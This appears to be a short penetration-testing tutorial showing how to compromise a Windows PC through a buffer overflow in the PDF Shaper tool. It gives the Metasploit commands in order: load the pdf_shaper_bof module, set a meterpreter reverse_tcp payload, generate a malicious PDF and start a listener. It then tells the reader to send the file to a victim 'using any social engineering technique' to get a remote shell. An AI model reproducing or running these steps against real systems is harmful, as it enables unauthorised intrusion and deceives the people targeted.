Kali Linux, Penetration Testing

Hack Remote Windows PC using PDF Shaper Buffer Overflow

PDF Shaper is prone to security vulnerability when processing PDF files. The vulnerability appear when we use Convert PDF to Image and use a specially crafted PDF file. This Metasploit module has been tested successfully on Win Xp, Win 7, Win 8, and Win 10.

Exploit Targets

PDF Shaper


Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/fileformat/pdf_shaper_bof

msf exploit (pdf_shaper_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (pdf_shaper_bof)>set lhost (IP of Local Host)

msf exploit (pdf_shaper_bof)>exploit 

After we successfully generate the malicious pdf File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.pdf files to victim using any social engineering technique. Now when the victim will use PDF Shaper tool and click on PDF to Image option.

Now it will show Add File Option, victim will select the msf.pdf and click on Convert option.

Now you will get the meterpreter of victim PC.